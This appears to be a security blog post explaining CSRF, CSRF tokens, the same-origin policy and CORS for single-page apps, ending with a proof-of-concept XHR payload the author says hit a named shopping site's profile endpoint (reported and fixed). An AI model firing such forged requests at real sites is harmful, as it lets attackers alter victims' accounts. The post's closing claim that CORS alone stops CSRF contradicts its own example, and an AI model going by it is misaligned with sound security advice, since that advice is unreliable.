CSRF token vs CORS in SPA
CSRF token vs CORS in SPA
Single Page Application (SPA) with REST API was common nowadays. It is easy and efficient to build the front-end with React or Angular, and back-end with node js (or whatever language). If you have developed some web application that renders server side, you might use HTML forms to get input from users. Most of the web frameworks (Django, Laravel, etc...) will automatically include an extra hidden input field called CSRF tokens.
Note: I assume you already familiar with sessions and cookies
This article doesn't explain everything in detail. I try to explain everything as short as possible
This article doesn't explain everything in detail. I try to explain everything as short as possible
In the above image, you can see that Laravel includes a hidden input field in the HTML form (_token). This token is called a CSRF token. Let's see a brief about CSRF and CSRF token.
What is CSRF Attack?
Cross-Site Request Forgery (CSRF or XSRF). As the name says it is a forgery, that done to one site from another site.Let's assume example.com is vulnerable to CSRF attack (it has "/profile/update" endpoint without CSRF protection). Now if an attacker creates a website with attacker.com, that contains a hidden form that automatically posts some data to endpoint "example.com/profile/update". Now if a legitimate user visits attacker.com then his/her browser will send a post request to example.com (which they didn't initiate) with their cookie.
Click here to learn more about CSRF in detail
What is CSRF token?
CSRF token is a simple token(probably random long string) that is generated from the server. The client has to attach this token with every request (not for GET). The generated CSRF token for each session will be stored on the server. The server will then compare it with each request. If the token doesn't match, the server rejects the request.The attacker.com will not be able to grab this token, so the website will be protected against CSRF attack.
I hope you have an idea about CSRF attack and CSRF token.
Now the question is Does Single Page Application needs CSRF token?
To answer this question we need to discuss SOP and CORS.
Same Origin Policy (SOP):
The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors. (definition from MDN)
In simple terms, SOP is a simple browser mechanism that prevents loading resources from other origins (or site). Origins are distinguished by several rules
URL | Outcome | Reason |
---|---|---|
http://store.company.com/dir2/other.html | Same-origin | Only the path differs |
http://store.company.com/dir/inner/another.html | Same-origin | Only the path differs |
https://store.company.com/page.html | Failure | Different protocol |
http://store.company.com:81/dir/page.html | Failure | Different port (http:// is port 80 by default) |
http://news.company.com/dir/page.html | Failure | Different host |
Cross-Origin Resource Sharing (CORS):
We have seen the Same Origin Policy, that's a clever idea to prevent some forms of attack, But most of the time we need to share the resource through cross origins. We may run our frontend SPA in port 80 and backend REST API in another port. The SOP will prevent us from frontend applications from reading resources from another port. Here where the CORS comes in and solves this problem.CORS is also a browser mechanism that allows the front end application to access resources from different origins.
for example, we can allow example.com to access resources from example-resource.com
How CORS works?
When a Single Page Application (SPA) hosted on react.example.com trying to access a resource from api.example.com with XHR (XML HTTP request).
fetch('http://api.example.com/data')
.then(response => response.json())
.then(data => console.log(data));
.then(response => response.json())
.then(data => console.log(data));
In the above code, we are making a get request to api.example.com, But the browser won't allow us to read the response.
For demonstration purposes, I've made simple request to api.google.com, as you can see the above image, I can't actually read the resource from another origin.
To tell the browser to allow other origins, we should add few headers in HTTP response from the server.
Access-Control-Allow-Origin (ACAO):
When the client requests a resource from the server (via browser), the browser automatically attaches Origin header in request with value origin.
In the above image, you can see the request headers has Origin header with value "http://localhost". If the server allows this origin(http://localhost) to access the response, then it will include Access-Control-Allow-Origin in the response header with a value of (http://localhost). In this case, the server did not send the ACAO header with the response, which indicates, that api.google.com may not allow CORS requests.
Some web apps will send * in ACAO header, this is pretty safe. If the website uses * in the ACAO header, the browser won't allow credentials for cross-origin requests.
The above response is from a CDN (Content Delivery Network). They no need authorization or cookies, but they have to allow all origin, so for such type of usage, we can use * for ACAO header.
Pre-flight requests:
Have you ever seen the OPTIONS method that sent before the actual method(GET, POST, or PUT)?Your web browser will automatically send this request before the request that was not simple requests, to ensure whether the method, header, and mime-types were supported by the server.
Okay, what are simple requests?
allowed Methods: GET, POST, HEAD
allowed Headers: Accept, Accept-Language, Content-Language, Content-Type
allowed Mime-Type (Content-Type): text/plain, application/x-www-form-urlencoded, multipart/form-data
The request which meets the above conditions is considered as a simple request.
Simple requests won't trigger OPTIONS requests. Other requests will trigger options request. If the OPTIONS request fails, then the actual request will not be triggered by the browser.
We have only covered the basics of CORS (click here to learn more)
CSRF tokens vs CORS:
The goal of CSRF token is to prevent form submission to the legitimate sites from the evil sites. CSRF token solves these perfectly. Traditional sites need this token because they use cookies (which automatically sends with every request). Most of the SPA uses local storage for storing access tokens (not all). Local storage is immune to CSRF attacks. So implementing CSRF tokens in apps that don't use cookies might be useless. But still, some developers prefer cookies to store tokens, which is not bad, they don't need to set up an interceptor to attach token with every request.In this case, the developer might need to allow CORS to specific origins. If the developer configured CORS correctly and allowed specific origin and allowed credentials with Access-Control-Allow-Credentials (ACAC) header. So that the browser allows credentials(cookies) to that origin.
So we can use CORS instead of CSRF token in the SPA. The major difference here is CSRF token validates in server and CORS is handled by the browser. You can't submit the form from Postman that is protected by CSRF token (even with cookies). But it is possible to submit forms or data that is protected by CORS form any tools other than modern browsers.
The Bug I found in E-Commerce application:
Most of the developers prefer application/josn as Content-Type. This is fine. Be careful when you use other mime types that belong to a simple request category.Once I found a CSRF bug in one e-commerce site(nykaa.com) on their profile page. Their profile update endpoint(https://www.nykaa.com/app-api/
payload:
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://www.nykaa.com/app-api/index.php/user/update_profile/", true);
xhttp.withCredentials=true;
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send('firstname=you are hacked&lastname=world1&profilepic=http://attacker.com&gender=m&mobile_number=0000&email=wajekar290@emailhost99.com&dob=&source=react');
The above script will change currently logged in user's name to "you are hacked". The impact was not too high, but still, it's a security issue.
An important point to note here:
There is no ACAO header. The request still successful, Because CORS works in that way. The simple request will always be successful but, you can't access the response. The browser can only block response.
Here you can see that CORS warning.
But the request succeeds. I reported this bug to the security team and now it has been fixed. (They used CSRF token to fix this)
So use simple requests with caution.
Finally, CORS is enough for web applications to prevent CSRF attacks. Implementing CSRF tokens on top of the application that has proper CORS configuration is useless.
Subscribe to my blog, so that you will be notified for new posts
Thanks for reading my article. Please leave your opinion as a comment below.
follow me on twitter @CyberSrikanth
Comments
Post a Comment